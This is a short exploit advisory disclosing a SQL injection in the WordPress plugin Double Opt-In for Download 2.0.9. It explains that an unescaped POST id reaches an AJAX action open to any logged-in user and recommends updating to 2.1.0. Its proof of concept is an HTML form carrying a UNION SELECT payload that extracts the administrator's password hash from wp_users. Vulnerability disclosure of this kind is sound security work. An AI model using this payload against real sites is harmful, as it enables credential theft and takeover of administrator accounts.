WordPress Plugin Double Opt-In for Download 2.0.9 - SQL Injection

# Exploit Title: Double Opt-In for Download 2.0.9 Sql Injection
# Date: 06-06-2016
# Software Link: https://wordpress.org/plugins/double-opt-in-for-download/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
`$_POST['id']` is not escaped.

`populate_download_edit_form()` is accessible for every registered user.

http://security.szurek.pl/double-opt-in-for-download-209-sql-injection.html


2. Proof of Concept

Login as regular user.

<form name="xss" action="http://wordpress-url/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">
	<input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">
	<input type="submit" value="Send">
</form>

3. Solution:
   
Update to version 2.1.0